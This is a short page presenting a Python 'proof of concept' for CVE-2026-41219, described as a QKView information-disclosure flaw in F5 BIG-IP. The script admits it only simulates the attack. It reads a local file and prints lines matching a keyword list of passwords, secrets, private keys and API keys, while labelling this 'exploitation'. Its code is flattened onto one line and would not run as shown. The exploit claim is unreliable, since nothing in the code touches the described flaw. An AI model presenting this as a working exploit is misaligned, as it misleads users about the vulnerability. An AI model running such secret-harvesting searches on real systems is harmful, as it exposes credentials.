CVE-2026-41219 F5 BIG-IP QKView信息泄露漏洞

import sys import os # Proof of Concept for CVE-2026-41219 # This script simulates an attacker reading sensitive data from a QKView file # due to improper sanitization. def exploit_qkview_vulnerability(file_path): """ Simulates the parsing of a QKView file to extract sensitive info. In a real scenario, this would leverage the lack of sanitization to read arbitrary files or data within the archive. """ print(f"[*] Attempting to parse QKView file: {file_path}") if not os.path.exists(file_path): print("[-] File not found.") return try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Simulating the extraction of sensitive data (e.g., passwords, keys) # that should not be accessible to low-privileged users. sensitive_keywords = ['password', 'secret', 'private_key', 'api_key'] found_sensitive = False for line in content.splitlines(): for keyword in sensitive_keywords: if keyword in line.lower(): print(f"[+] Potential sensitive data found: {line.strip()}") found_sensitive = True break if not found_sensitive: print("[!] No obvious sensitive strings found, but binary data may still be leakable.") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": # Usage: python poc.py <path_to_qkview_file> if len(sys.argv) < 2: print("Usage: python poc.py <qkview_file_path>") else: exploit_qkview_vulnerability(sys.argv[1])